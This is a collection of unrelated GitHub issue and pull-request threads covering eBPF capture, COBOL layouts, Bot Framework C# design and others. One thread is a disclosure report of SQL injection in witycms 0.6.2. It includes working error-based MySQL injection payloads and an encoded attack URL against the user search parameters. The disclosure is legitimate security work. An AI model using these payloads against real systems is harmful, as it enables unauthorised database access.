When using pcapng mode, if the --port parameter is set to 0, it supports capturing network packets from all ports. Otherwise, it only captures data from the port corresponding to --port. The default port is 443. The reason why --port does not capture all network packets by default is that in many scenarios, the host's network traffic is high and eBPF map writes too fast while user space consumption is slow, resulting in packet loss issues. Although user space has already allocated memory of size BufferSizeOfEbpfMap when creating eBPF map, there still exists a problem of data loss due to excessive network packets. Moreover, on Android, there are memory size limitations and the value of BufferSizeOfEbpfMap is only 1024.
	rd, err := perf.NewReader(em, os.Getpagesize()*BufferSizeOfEbpfMap)

@Xeonacid Try it.


Support for multi layout records files

Hi,
Many files can handle muti layout structures for records, described by multi level 01 in COBOL Copybooks.
Generaly a specific field, common to all layout structures, handle values to select the convenient layout structure.
Same thing can occurs with redefined fields inside a record.
Does the extension DS Editor can support multi layout structures ?
Multi binding, selecting one or more Copybooks and associate a level 01 structure in a Copybook to a record depending on a value of a field in this layout structure or another structure:

if field-1 in layout structure-level-01-1 in copybook-1 equals value-1 then select structure-level-01-2 in copybook-2 to display values of record
copybook-1 and copybook-2 can be the same
structure-level-01-1 and structure-level-01-2 can be the same, (implies that copybook-1 and copybook-2 are the same)

Associations between layout structure and value for selection should be saved in a local file, (inside or outside root folder of workspace).
Thanks.

Greetings,
Currently there is some hidden partial support for such things. It is an pre-experimental feature in the extension that I wanted to release but I lacked field knowledge to decide how to do it. It mainly worked with the REDEFINE feature. I used the past there because a design decision buried the capability to use the layout selection.
Now that you opened this issue, it will be put in the queue with higher priority. I will refer to this issue to ask for your opinion when I get to it if that is alright with you.

Hi,
A prerequisite, and perhaps a solution, for displaying redefinition zones, including implicit redefinitions on COBOL level 01 (multi-record copybook file), would be to provide a non-tabular formatted display, i.e. a display showing only one record at a time, with one line per elementary zone / group described in the copybook, or by combining several copybooks.
The display could be organized as follows:

on the left: COBOL structures
on the right: interpretation of the content for each of the elementary zones of the COBOL structures
adding a folding/unfolding mark on the group zones would allow hiding certain structures, in particular structures that do not correspond to the displayed record
it would also be necessary to have the possibility of hiding elementary zones and group zones, perhaps by the same mechanism as the following (folding/hiding a single line)

Thanks.


Horizontal scroll for large content

I have a graphical issue when using tree widget: it overrides the maximum width allowed.
Here:

Could we find a trick to avoid that? A horizon scrollbar? A tooltip on hover? Both?
Thanks.

Yeah thats the edge where tree widgets get unhandy. Only chance I see is to wrap overlong lines, but I think this will not work with the 'wholerow' plugin. You might want to try to disable it and give the outer container a max width.

Clsoing this issue. Feel free to open a new one if you still experience issues with overlong lines.


Pull in upstream changes

Update all functions using new weight struct and new account id parameters
Fixes for changed extrinsic indicies in system pallet
Add installation docs
Remove pallets that are no longer in DENTNet:

Democracy
PhragmenElection
Claims
Bounties
ChildBounties
Tips

Ignore changes in deps/ folder, it's coming from a git subtree update

Superseded by new PR #9


Find a SQL injection

Search for user discovery injection under the witycms 0.6.2 "Utilisateur" menu. No input parameters were filtered. /admin/user/users? Nickname=1&email=&firstname=&lastname=&groupe=
payload:
firstname=' AND (SELECT 6463 FROM(SELECT COUNT(*),CONCAT(0x717a717671,(SELECT (ELT(6463=6463,1))),0x717a707071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- zcMP&lastname=&nickname=root&email=&groupe=
lastname=' AND (SELECT 2839 FROM(SELECT COUNT(*),CONCAT(0x717a717671,(SELECT (ELT(2839=2839,1))),0x717a707071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- oNFP&nickname=root&email=&groupe=
Defective pages and addresses

http://<IP_ADDRESS>/witycms/admin/user/users?nickname=roott'+AND+(SELECT+9674+FROM(SELECT+COUNT(*)%2CCONCAT(0x71717a6271%2C(SELECT+(ELT(9674%3D9674%2C1)))%2C0x7178627871%2CFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.PLUGINS+GROUP+BY+x)a)--+YoTG&email=&firstname=&lastname=&groupe=
Attack through sqlmap, find database name and database type.

A page executed by background code.

\apps\user\front\model.php

Hello,
PDO's quote function is designed to protect from SQL Injection.
I just tried on my local instance of this CMS and your "attack" is not working. I just get an empty result on the users list. Can you be more specific on the issue you are reporting here?
Thx!

Ok, I see the issue. A fix is coming. Thx!


ci(primitives): transition to new css primitives

GitHub no longer distributes primitives in JSON format. Also, the names
of the values (i.e. CSS variables) have changed. Most of the new names
correspond 1-to-1 with one of the old names. Some colors have also
changed slightly (e.g. fg-default), but otherwise remain mostly the
same. See https://primer.style/foundations/primitives/migrating.
Source color primitives from @primer/primitives/dist/internalCss
instead of @primer/primitives/dist/css/functional/themes as only the
former directory contains the base colors (scales).
Convert new primer css primitives/variables directly to lua in
.github/workflows/csstolua.lua (runs in CI). This script generates some
debugging info in case an error occurs (which can be found in CI logs).
Convert to a nested table structure for idiomatic usage in lua. The
primitives table now provides type-hints via lsp, and accessing invalid
names at runtime will throw an error. Append .default to
names/keypaths which are too short and would otherwise collide with
existing tables.

scale no longer exists, but is still provided (by us) for
backwards-compatibility and ergonomics. The new names are in the
format of base.color.red[4] (for example to access scale.red[5]).
The values in scale are 1-indexed for lua, but the original upstream
names (in base.color.*) are 0-indexed and left untouched.

scale.gray no longer exists, use scale.neutral in its place

*.subtle variants no longer exist, see the link above for the
corresponding replacements

Ideas and TODO

[ ] Tests
[ ] Types to catch invalid references before runtime (LSP) (e.g. implement types in palette files, make spec well-typed). The idea is to help prevent assigning a table to one of the (leaf) keys of a spec at development-time.
[ ] Type-check spec at runtime?
[ ] Also run primitives workflow when its workflow file has been altered in a pr (prior to testing) so that those changes can be tested too (making sure to if-guard against pr creation, which shouldn't be done in this case). Also maybe run it on pushes to main as well (again only if the workflow changed)?


Batti (version 0.3.8): New Package

Batti is a small, GTK+UPower-based, ideal for lightweight desktop
environments/window managers.

I get the same error. Does it work for you @AndersonTorres ? I'd just package https://github.com/valr/cbatticon

Well, it is now working for me either :)
For now I am a bit confused with the libsigsegv problem, and almost giving up of using systemPackages entirely...


Separating out RegRectilinearGrid dispatch

When the code was originally written, it was written for a RegRectilinearGrid. This means that many equations that depend on the grid, simply use RegRectilinearGrid fields and do calculations assuming a regular rectilinear grid.
If a user wanted a new grid type, they would need to look through the coupling code and pull out the code that depends on the grid being regular rectilinear and put this in helper methods that dispatch off of the grid type. The user could then write their own methods fo their new grid type that dispatch off of these helper functions.

It might also be a good idea to have an AbstractRectilinearGrid <: AbstractGrid. Then, things like _rectilinear_grid_boundary_info could dispatch off of ::AbstractRectilinearGrid.


Add swift 4 support

Hey @hilen could you take a look and tell me if that's all there is for the swift 4 conversion? We're gonna have to release after that.

Thanks for the PR, I've been updated it.

Can we also prep the new release so that it's installable via pods?

🎉  Congrats
🚀  TSVoiceConverter (0.1.6) successfully published
📅  October 26th, 09:21
🌎  https://cocoapods.org/pods/TSVoiceConverter
👍  Tell your friends!
Have a try.

Thanks. You rock! 🎉


is removal of fields reversible?

It seems like using the decorator approach, if we remove an item from the schema object in our wrapper class, then pass that filtered schema down to the mozilla form, we will have lost our component. If we use this approach, we might then need to have some separate state object that represents deleted schema items?
Or maybe instead of deleting the form items we just add/remove a CSS class that hides the component's visibility?

closed because full schema is stored in state.


option to manually add text and classify regions on images

Hi, @seveibar I just checked out your project. It looks great, I need some help.
I have few doubts

when I draw a region, I only have the option to select from the existing classes and tags, I wanted to know if there was an option to manually enter something in the text field and classify a region?

In the regions object 'x','y','w' and 'h' values are less than the actual image size, how do I get the actual coordinates? should I multiply 'x' with the width of the image, 'y' with the height of the image, 'w' with the width of the image, and 'h' with the height of the image?

Thanks

Classifications must be predefined in the props (I'd very much like to add dynamic classification addition, PRs welcome :)
Percentage of image :)

@seveibar I'll be happy to add the feature, could you explain to me how the mouse events and the labels are connected together?
For the second point, should I multiply x, y, w, and h values by 100 to get the true values?

I think you'll want to look in the RegionEditLabel component.

If you want the pixel values, multiply by the width and height of the image

@seveibar Thanks a lot, I will check the RegionEditLabel component.

So for the pixel values,  I should multiply 'x' with the width of the image, 'y' with the height of the image, 'w' with the width of the image, and 'h' with the height of the image.
am I right?

RegionEditLabel
Sample regions data:
{ "image": {   "src": "....",   "name": "DSC03843.JPG",   "pixelSize": { "w": 7952, "h": 4472 },   "regions": [     {       "type": "box",       "x": 0.14187556952658198,       "y": 0.09422492401215805,       "w": 0.14358491373774562,       "h": 0.060790273556231,       "highlighted": false,       "editingLabels": false,       "color": "#2196f3",       "cls": "Broken Concrete",       "id": "09735222254753118"     },   ] } }

For pixel values of x,y,w,h, should multiply like this:
x = (pixelSize.w * pixelSize.h * regions.x)
y = (pixelSize.w * pixelSize.h * regions.y)
w = (pixelSize.w * pixelSize.h * regions.w)
h =  (pixelSize.w * pixelSize.h * regions.h)
I am trying to use these values to crop image by jimp

@seveibar @sreevardhanreddi Could you please show us how you implemented this functionality?
Tried to check RegionEditLabel, but couldn't figure it out.

hey @arhmnsh you can check this pr

@sreevardhanreddi Thanks for the quick reply. Actually, I went thru it but still couldn't figure it out. Could you please share a basic sample or codesandbox like this: https://codesandbox.io/s/react-image-annotate-example-forked-8t9w7?file=/src/App.js?


Use cos_containerd image for e2e tests

Signed-off-by: Luiz Carvalho<EMAIL_ADDRESS>
Changes
Use cos_containerd image for e2e tests.
The cos image is no longer supported:
https://cloud.google.com/kubernetes-engine/docs/concepts/node-images
Submitter Checklist
As the author of this PR, please check off the items in this checklist:

[ ] Has Docs included if any changes are user facing
[ ] Has Tests included if any functionality added or changed
[x] Follows the commit message standard
[x] Meets the Tekton contributor standards (including
functionality, content, code)
[x] Release notes block below has been updated with any user facing changes (API changes, bug fixes, changes requiring upgrade notices or deprecation warnings)
[x] Release notes contains the string "action required" if the change requires additional action from users switching to the new release

Release Notes
NONE

/test pull-tekton-chains-integration-tests


fix (#patch); dforce; fixed QA issues reported in #868

Fixed QA issues reported in #868

Fixed underlying token conflict: ZERO_ADDRESS is ETH on mainnet, BNB on BSC
Fixed protocol.mintedTokens and protocol.mintedTokenSupplies
Fixed financialDailySnapshot.mintedTokenSupplies (compound-forks/src/mapping.ts)
ARBITRUM_BLOCKS_PER_YEAR and ARBITRUM_BLOCKS_PER_DAY (also in #1049; will rebase this PR if #1049 is merged first)
bumped subgraph version to 1.2.0

See also #1106

@dmelotik , @0xbe1 , or @this-username-is-taken , can one of you help review? thx!

@dmelotik The synthetics in dforce seems to work somewhat similarly to synthetix (CDP and then goes to trade synthetic assets). The dforce synthetics while it can use the similar depositm, the mechanics are separate from the borrowing and may probably need it's own subgraph in the future like a CDP. Their synthetics market is ~$400K

@this-username-is-taken for visibility, do we remove this from the dforce subgraph then?

Nice work! A couple things, I now think we are enforcing rebasing onto the latest master, so you will have to do that.
I believe I did that; I will rebase again before merging.

I see dForce does have minted tokens, are we including this in the TVL on our subgraph?
They are not included. Since (most) minted tokens are borrowed against collateral, including them would double count?

And @ishraq8 for a second opinion. dForce minted tokens seem to be apart of their synthetics offerings, should this be included in this subgraph? To me it seems out of scope.

@this-username-is-taken and I talked a while back when I first started working on the dforce subgraph and he thought synthetics should not be included. Welcome second/third opinion here.

Thanks @tnkrxyz! Looks like there is consensus that the synthetics component should be handled separately.

I believe I did that; I will rebase again before merging.

I was looking at this, but we will see if it is an issue when we are actually ready to merge:

I guess my question is should we have mintedTokens in the dForce subgraph? I am kinda confused there. I think we could also merge this PR then in a separate PR remove the mintedTokens mappings. Up to you really.

I was looking at this, but we will see if it is an issue when we are actually ready to merge:

Rebased again.

I guess my question is should we have mintedTokens in the dForce subgraph? I am kinda confused there. I think we could also merge this PR then in a separate PR remove the mintedTokens mappings. Up to you really.

My understanding is that mintedTokens and mintedTokenSupplies are specific for protocols like dforce, inverse-finance, and markedao, that mints stable coins, so they should be included here. Ping @this-username-is-taken for confirmation that is still the case.

That's right, we should include minted tokens (similar to makerdao, abra, etc) so there is a way to track them

Small update and I think we are ready to merge!
Note, same thing with the new linting checker. Ignore this for now and we will make a separate PR to tackle that since there is a lot in it.

Small update and I think we are ready to merge!
Note, same thing with the new linting checker. Ignore this for now and we will make a separate PR to tackle that since there is a lot in it.

Since #1157 is now merged, I'm rebasing to get the fix.


Asp.Net MVC Integration

ASP MVC Integration
Introducing an Event Based Programming Model

The concepts here are common to the JavaScript and C# implementations, although the proposal here is to surface the functionality in slightly different platform specific ways.

With this DCR the bot application logic can be factored into a series of event handlers, as the following example illustrates:
    public class MyActivityHandler : ActivityHandler
    {
        protected override async Task OnMemberAddedAsync(
            ChannelAccount account,
            ITurnContext<IConversationUpdateActivity> turnContext,
            CancellationToken cancellationToken)
        {
            await turnContext.SendActivityAsync                (
                MessageFactory.Text($"Welcome {account.Name}"));
        }

        protected override async Task OnMessageAsync(
            ITurnContext<IMessageActivity> turnContext,
            CancellationToken cancellationToken)
        {
            await turnContext.SendActivityAsync(
                MessageFactory.Text($"Echo: {turnContext.Activity.Text}"));
        }
    }

The new SDK class here is ActivityHandler.
To the C# programmer these event handlers are plugged through inheritance and are strongly typed. Both the use of inheritance and the typing contribute to discoverability: with Intellisense the inheritance tells the developer what Activities can arrive and the typing tells her the shape of the particular Activity. In addition to removing boiler plate code from the application by putting it in the SDK.
To the JavaScript programmer the ActivityHandler exposes a set of Node JS style event handlers.
In C#, ActivityHandler is itself derived from IBot. As such users of the existing C# integration are free to incorporate this new class with minimal change to existing projects.
The C# programmer will be happy to see the stronger typing on the event handlers. By introducing a new interface ITurnContext< T > we are able to (for the first time) make effective use of the existing IMessageActivity, IConversationUpdateActivity etc.
Introducing First Class Support for Hosting in MVC Controllers
This section is specific to C#.
As previous samples have demonstrated see C# Sample 30, it has always been possible to host bot logic in MVC Controllers. However, this has involved pulling in some custom serialization code, knowledge of headers and adapter invocation. In the previous sample code this code was hidden in a Controller base class. This DCR moves this code into the product but places it in a subclass of the BotFrameworkAdapter called BotFrameworkAdapterEx.
Needing to support two versions of ASP WebApi and Net Core means we end out with slightly different flavors of this class, though in essense they are the same. We put each in its own namespace, specific to the version of the .NET framework. The code goes into the corresponding, and preexitsing, integration packages.
In order to better support dependency injection this DCR also specifies a new interface called IBotFrameworkAdapter. This is defined as follows:
    public interface IBotFrameworkAdapter
    {
        Task ProcessAsync(
            HttpRequest request,
            HttpResponse response,
            IBot bot,
            CancellationToken cancellationToken = default(CancellationToken));
    }

The "Ex" versions of the BotFrameworkAdapter provide implementations of this interface.

It is worth noting that this actually brings the C# SDK more inline with the JavaScript SDK because the JavaScript SDK BotFrameworkAdapter has always taken the WebRequest and WebResponse as arguments to invoke the adapter.

Using this new adapter implementing a Controller is trivial, as the following example shows:
    [Route("mybot")]
    public class MyController : Controller
    {
        private IBotFrameworkAdapter _adapter;
        private IBot _bot;

        public BotController(
            IBotFrameworkAdapter adapter, IBot bot)
        {
            _adapter = adapter;
            _bot = bot;
        }

        [HttpPost]
        public async Task PostAsync()
        {
            await _adapter.ProcessAsync(Request, Response, _bot);
        }
    }

In this example both the adapter and the bot were dependency injected. The use of dependency injection is completely optional and simply a choice made by the developer of this particular project. For this particular example, the project's Startup.cs included the following:
    services.AddSingleton<IBotFrameworkAdapter>(
        sp => new BotFrameworkAdapterEx(
        new SimpleCredentialProvider()));

    services.AddTransient<IBot>(
        sp => new MyActivityHandler());

The application developer is of course free to write this Controller code themselves. However, generating this code is a natural step for the Visual Studio integration (via VSIX) we provide.
Appendix I

Summary of artifacts in C#
Microsoft.Bot.Builder

ITurnContext< T >
ActivityHandler

Microsoft.Bot.Builder.Integration.AspNet.Core

IBotFrameworkAdapter
BotFrameworkAdapterEx

Microsoft.Bot.Builder.Integration.AspNet.WebApi

IBotFrameworkAdapter
BotFrameworkAdapterEx

Summary of artifacts in JavaScript
Microsoft.Bot.Builder.Core

ActivityHandler

Appendix II

Source code for C# AspNet.Core (for illustration only the final code will be a PR.)
IBotFrameworkAdapter.cs

Note there will be two flavors of this class one for Net Core and one for WebApi.

    public interface IBotFrameworkAdapter
    {
        Task ProcessAsync(HttpRequest request, HttpResponse response, IBot bot, CancellationToken cancellationToken = default(CancellationToken));
    }

ITurnContext{T}.cs

Note the assumption here is that T is IMessageActivity etc.

    public interface ITurnContext<T> : ITurnContext
    {
        new T Activity { get; }
    }

ActivityHandler.cs

    public class ActivityHandler : IBot
    {
        public virtual Task OnTurnAsync(ITurnContext turnContext, CancellationToken cancellationToken)
        {
            if (turnContext.Activity.Type == ActivityTypes.Message)
            {
                return OnMessageAsync(new DelegatingTurnContext<IMessageActivity>(turnContext), cancellationToken);
            }
            else if (turnContext.Activity.Type == ActivityTypes.ConversationUpdate)
            {
                return OnConversationUpdateAsync(new DelegatingTurnContext<IConversationUpdateActivity>(turnContext), cancellationToken);
            }
            else if (turnContext.Activity.Type == ActivityTypes.Event)
            {
                return OnEventActivityAsync(turnContext, cancellationToken);
            }
            else if (turnContext.Activity.Type == ActivityTypes.DeleteUserData)
            {
                return OnDeleteUserDataActivityAsync(turnContext, cancellationToken);
            }
            else if (turnContext.Activity.Type == ActivityTypes.ContactRelationUpdate)
            {
                return OnContactRelationUpdateActivityAsync(turnContext, cancellationToken);
            }
            else
            {
                return OnUnrecognizedActivityTypeAsync(turnContext, cancellationToken);
            }
        }

        protected virtual Task OnMessageAsync(ITurnContext<IMessageActivity> turnContext, CancellationToken cancellationToken)
        {
            return Task.CompletedTask;
        }

        protected virtual Task OnConversationUpdateAsync(ITurnContext<IConversationUpdateActivity> turnContext, CancellationToken cancellationToken)
        {
            if (turnContext.Activity.MembersAdded != null)
            {
                return OnMembersAddedAsync(turnContext.Activity.MembersAdded, turnContext, cancellationToken);
            }
            else if (turnContext.Activity.MembersRemoved != null)
            {
                return OnMembersRemovedAsync(turnContext.Activity.MembersAdded, turnContext, cancellationToken);
            }

            return Task.CompletedTask;
        }

        protected virtual async Task OnMembersAddedAsync(IList<ChannelAccount> membersAdded, ITurnContext<IConversationUpdateActivity> turnContext, CancellationToken cancellationToken)
        {
            foreach (var member in membersAdded)
            {
                if (member.Id != turnContext.Activity.Recipient.Id)
                {
                    await OnMemberAddedAsync(member, turnContext, cancellationToken);
                }
            }
        }

        protected virtual async Task OnMembersRemovedAsync(IList<ChannelAccount> membersRemoved, ITurnContext<IConversationUpdateActivity> turnContext, CancellationToken cancellationToken)
        {
            foreach (var member in membersRemoved)
            {
                if (member.Id != turnContext.Activity.Recipient.Id)
                {
                    await OnMemberRemovedAsync(member, turnContext, cancellationToken);
                }
            }
        }

        protected virtual Task OnMemberAddedAsync(ChannelAccount account, ITurnContext<IConversationUpdateActivity> turnContext, CancellationToken cancellationToken)
        {
            return Task.CompletedTask;
        }

        protected virtual Task OnMemberRemovedAsync(ChannelAccount account, ITurnContext<IConversationUpdateActivity> turnContext, CancellationToken cancellationToken)
        {
            return Task.CompletedTask;
        }

        protected virtual Task OnEventActivityAsync(ITurnContext turnContext, CancellationToken cancellationToken)
        {
            return Task.CompletedTask;
        }

        protected virtual Task OnDeleteUserDataActivityAsync(ITurnContext turnContext, CancellationToken cancellationToken)
        {
            return Task.CompletedTask;
        }

        protected virtual Task OnContactRelationUpdateActivityAsync(ITurnContext turnContext, CancellationToken cancellationToken)
        {
            // TODO: some documentation as to when this Activity can be sent would be helpful
            return Task.CompletedTask;
        }

        protected virtual Task OnUnrecognizedActivityTypeAsync(ITurnContext turnContext, CancellationToken cancellationToken)
        {
            return Task.CompletedTask;
        }

        private class DelegatingTurnContext<T> : ITurnContext<T>
            where T : class
        {
            private ITurnContext _innerTurnContext;

            public DelegatingTurnContext(ITurnContext innerTurnContext)
            {
                _innerTurnContext = innerTurnContext;
            }

            T ITurnContext<T>.Activity => (T)(object)_innerTurnContext.Activity;

            public BotAdapter Adapter => _innerTurnContext.Adapter;

            public TurnContextStateCollection TurnState => _innerTurnContext.TurnState;

            public Activity Activity => _innerTurnContext.Activity;

            public bool Responded => _innerTurnContext.Responded;

            public Task DeleteActivityAsync(string activityId, CancellationToken cancellationToken = default(CancellationToken))
            {
                return _innerTurnContext.DeleteActivityAsync(activityId, cancellationToken);
            }

            public Task DeleteActivityAsync(ConversationReference conversationReference, CancellationToken cancellationToken = default(CancellationToken))
            {
                return _innerTurnContext.DeleteActivityAsync(conversationReference, cancellationToken);
            }

            public ITurnContext OnDeleteActivity(DeleteActivityHandler handler)
            {
                return _innerTurnContext.OnDeleteActivity(handler);
            }

            public ITurnContext OnSendActivities(SendActivitiesHandler handler)
            {
                return _innerTurnContext.OnSendActivities(handler);
            }

            public ITurnContext OnUpdateActivity(UpdateActivityHandler handler)
            {
                return _innerTurnContext.OnUpdateActivity(handler);
            }

            public Task<ResourceResponse[]> SendActivitiesAsync(IActivity[] activities, CancellationToken cancellationToken = default(CancellationToken))
            {
                return _innerTurnContext.SendActivitiesAsync(activities, cancellationToken);
            }

            public Task<ResourceResponse> SendActivityAsync(string textReplyToSend, string speak = null, string inputHint = "acceptingInput", CancellationToken cancellationToken = default(CancellationToken))
            {
                return _innerTurnContext.SendActivityAsync(textReplyToSend, speak, inputHint, cancellationToken);
            }

            public Task<ResourceResponse> SendActivityAsync(IActivity activity, CancellationToken cancellationToken = default(CancellationToken))
            {
                return _innerTurnContext.SendActivityAsync(activity, cancellationToken);
            }

            public Task<ResourceResponse> UpdateActivityAsync(IActivity activity, CancellationToken cancellationToken = default(CancellationToken))
            {
                return _innerTurnContext.UpdateActivityAsync(activity, cancellationToken);
            }
        }
    }
}

BotFrameworkAdapterEx.cs

Note there will be two flavors of this class one for Net Core and one for WebApi.

    public class BotFrameworkAdapterEx : BotFrameworkAdapter, IBotFrameworkAdapter
    {
        public BotFrameworkAdapterEx(
            ICredentialProvider credentialProvider)
            : base(credentialProvider)
        {
        }

        public async Task ProcessAsync(
            HttpRequest request,
            HttpResponse response,
            IBot bot,
            CancellationToken cancellationToken = default(CancellationToken))
        {
            // deserialize the incoming Activity
            var activity = HttpHelper.FromRequest(request);

            // grab the auth header from the inbound http request
            var authHeader = request.Headers["Authorization"];

            // process the inbound activity with the bot
            var invokeResponse = await ProcessActivityAsync(authHeader, activity, bot.OnTurnAsync, cancellationToken);

            // write the response, potentially serializing the InvokeResponse
            HttpHelper.ToResponse(response, invokeResponse);
        }
    }

The PR where this work is functional is here https://github.com/Microsoft/BotBuilder-Samples/pull/1176

My one nit is that I think it's dangerous to have OnMemberAdded() pass each individual member via a separate call.  You can theoretically get 50 members added in a single call which would cause your bot to flood the conversation with welcome messages.  I think we should stick closer to the protocol and call a single OnConversationMembersAdded() event for a given activity.  It's not that hard to loop over an array.
If you want to filter out the fact that the bot was added to the conversation that's a different story. If the only member in the membersAdded array is the bot then I think you could safely ignore the activity which I believe is what you're striving for here.

@johnataylor you asked me to point out potential gotchas in the protocol so another one worth noting is that the address information for ConversationUpdate events is wrong and often needs to be patched before loading things like state.  The core issue is that you often get a ConversationUpdate that has either a missing or invalid from address.  That means that trying to load UserState will load the wrong users state and trying to send replies could result in replying to the wrong person.
It's safest to do this repair as a piece of middleware and you can find an example of the patch I do in my toybox repo as well as a detail explanation of the issue.  According to @dandriscoll the issue isn't really fixible. They sometimes just don't know who initiated the conversation update.
https://github.com/Stevenic/botbuilder-toybox/blob/master/packages/botbuilder-toybox-extensions/src/patchFromMiddleware.ts

I wouldn't say it's not fixable ... it's that some messages don't originate from a user, so the from field can't meaningfully represent one.

@Stevenic Why would this need Middleware to fix?
Seems like this could just as easily be fixed up as part of the actual Activty processing pipeline we've got here. If custom behavior is needed, it's easy enough to have a "public virtual FixUpFromAddress() type method that can be run.

@cleemullins you could do it as part of the processing pipeline but if you then add middleware that needs a valid from address it wouldn't have one.  Things like telemetry middleware for instance could log the wrong info.  Doing the patch as a piece of middleware just lets you do it first before anything else runs.

this work is done as of 4.4


Fixes button style

The default button style is somehow broken when using in a dashboard widget. When compared to the already build in dashboard widgets the button text line-height is different.

Thanks @cschuller, i'm closing this in favour of #2.


Build fails on nix-on-droid

Describe the bug
I'm trying to build a package inside a nix-on-droid environment, but the build fails on the installation phase:
Running phase: installPhase
@nix { "action": "setPhase", "phase": "installPhase" }
searching for bins/libs to install from cargo build log at cargoBuildLog3y5q.json
installing /tmp/nix-build-zola-new-0.1.6.drv-0/source/target/release/zola-new
searching for bins/libs complete
stripping references to cargoVendorDir from:
tee: /dev/fd/3: Permission denied

(the origin is here I believe)
Seems like it's not allowed to write to /dev/fd/3 on Android. Can this be avoided somehow?
I realize that it's a pretty niche use case, but it would be so cool to get it working :slightly_smiling_face:
Reproduction

Install nix-on-droid
Try to build any rust package (I'm building https://gitlab.com/bemyak/zola-new)

(NB: The process takes hours because of how proot is slow)

Thanks! I've created this issue: https://github.com/nix-community/nix-on-droid/issues/423

Hi @bemyak thanks for the report! It was pretty easy to avoid referencing /dev/fd directly (in favor of cat with a redirection) so this should be fixed with https://github.com/ipetkov/crane/pull/737

It works now, thanks a lot 🎉


[DON'T MERGE] [MAN-3161] - WIP

Jira ticket: https://desire2learn.atlassian.net/browse/MAN-3161
Here are the current changes that I've done in the outcomes repo:
https://github.com/Brightspace/d2l-outcomes/pull/1445
Please don't merge this. I am simply doing this to show what I am seeing.
When we enable grid mode on d2l-list in our component course-achievement-overview-tree the following issue occurs. The issue only occurs when we navigate using the Up arrow key during keyboard navigation. What's happening is that we get stuck in an infinite loop because when we query the DOM we can always find a previousElement with slot="nested". This results in nestedList never being null and the loop will not exit.
This is the issue happening on our demo page (in the Default View fullscreen demo):
https://live.d2l.dev/prs/Brightspace/d2l-outcomes/pr-1445/course-achievement-overview.html

I made a small change below to show/prove that I could drop out of the loop to fix the behaviour. I don't think that we can commit this change but it's simply there to show how behaviour would work if the loop exited.
We can now drop out of the list with the temporary change that I made below.

Currently, the DOM contains multiple nested lists.
https://github.com/Brightspace/d2l-outcomes/blob/main/src/components/course-achievement-overview/course-achievement-overview-tree.js#L119
https://github.com/Brightspace/d2l-outcomes/blob/main/src/components/course-achievement-overview/course-achievement-overview-tree.js#L236-L243
https://github.com/Brightspace/d2l-outcomes/blob/main/src/components/course-achievement-overview/course-achievement-overview-tree.js#L188-L200
This results in nestedList = previousElement.querySelector('[slot="nested"]') always returning a valid d2l-list item which is why we are stuck in an infinite loop.
The question I am now wondering is do we make a change here or do we fix the structure of our lit component? Are we doing something that is unsupported in the way that are using d2l-list?

Closing this PR since we have a workaround as per the conversation above.


Fix typo for docs

I'm so sorry for the big typo i made...

Wow...not sure how I missed that. :stuck_out_tongue_closed_eyes:
Thanks!


["Bug"] Ampersand in module name isn't rendered properly

A screenshot says more than a thousand words. ;)

Closing, this got fixed somewhere in Foundry v9.


Update to latest com.google.cloud version.

Codecov Report

Merging #999 into master will not change coverage.
The diff coverage is n/a.

@@            Coverage Diff            @@
##             master     #999   +/-   ##
=========================================
  Coverage     81.11%   81.11%
  Complexity     1079     1079
=========================================
  Files           177      177
  Lines          4946     4946
  Branches        466      466
=========================================
  Hits           4012     4012
  Misses          816      816
  Partials        118      118

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 40341c1...629b6b7. Read the comment docs.


feat: Scheduled Tasks / Cron Jobs

Description
I would like to be able to have scheduled tasks that run on a specified Interval (cron job)
I am not entirely sure if this is already possible by third party dependencies or if this should even be part of the package.
For example by using: https://pub.dev/packages/cron
In any case I would greatly appreceate a hint or even a dart_frog feature which allows this funtionality.
Requirements

[ ] Execute a function on a specified intervall.

Additional Context
My specific use cases is an email that should be send every night 23pm from a dart_frog server.

I'm not sure but are you sure it should be included in dart_frog? This is a service which returns a response when a request is made. You want it to handle both request and response. I think you should separate your project and create an app which requests the server to send a mail at appointed date/time.
The request should be something like this:
{
  "action":"send_mail",
  "start_date":"05/05/2024",
  "start_time":"23:00:00",
  "repeat":"1d"
}

Then you should also define a response which executes that mail every day at the "repeat" interval...
Something like this maybe?


Added missing types

Hey @SuperDJ,
Thanks for this PR! As you can see above, there were some really, really weird things happening, where I wasn't allowed to push updates to your fork while at the same time somehow allowing me to force-push. In either case, I've re-created this PR in #337 and will merge that, so your contribution will still be counted.
Anyway, thanks again!

@claudiodekker I'm sorry for the problems the PR caused. I'm guessing the problems are a result of some trouble I had while merging/ fixing conflicts.

@SuperDJ No worries, I'm pretty sure my Git IDE actually screwed up and not your changes 👍


add disableStackTrace option

Solves #30
Hello! Finally got around to a PR. I had some issues running this locally, but I think I've got everything right. I also guessed at the change in UX, this is rather brute force but it works well enough. Please let me know if there are any changes you'd like me to make or anything else you need.

I also somehow only just noticed the other PR for this issue 🤦

Ah yes, I did. I did a bit of research but couldn't find a way to do this either. I thought this was okay at least as a proof of concept.

I think the author of the other PR found a way (didn't try it yet though), maybe you can use the same approach. 😊


=CHG: Changed Source of SubModules to dev4Agriculture Git

``

How to apply stretching

@Amirnateghi19800 thanks a lot for your contribution. This pull request contains at the moment only a change of the submodule URLs. Please make sure to add some code. Thanks a lot Manuel


Coherent

Whenever you have time, we should probably add the laser abstract class, adapt this PR, which just needs some remaining and I can implement it on #161.

sounds good to me or I can put it in here as well. Maybe we can come up some functions for the abstract class?
def laser_on():
def laser_off():
def set_power():
def set_cw_mode():
def set_digital_modulation_mode():
def check_laser_status():

merge solution to #180 before this.


remove futures dependency

Hi @MaxVerevkin! Could you explain this PR a little bit more? What's your rationale for these changes?

I just removed the unused tokio features because why should we keep them around?
I removed the futures dependency because the only thing we need from it is the ready macro, which is short and simple enough to just copy-paste. This should result in a bit better compile times, I suppose. I didn't benchmark this.


Support console.groupEnd

Current console impl. supports .group and .groupCollapsed, but not the accompanying .groupEnd method
Which bombs out libraries the start groups with .group or .groupCollapsed end then try to close the group with .groupEnd

I think the emscripten wrapper provides a partial console implementation, that's probably what causes the confusion.

think the emscripten wrapper provides a partial console implementation, that's probably what causes the confusion.

Ah, sry for jumping to the wrong conclusion...


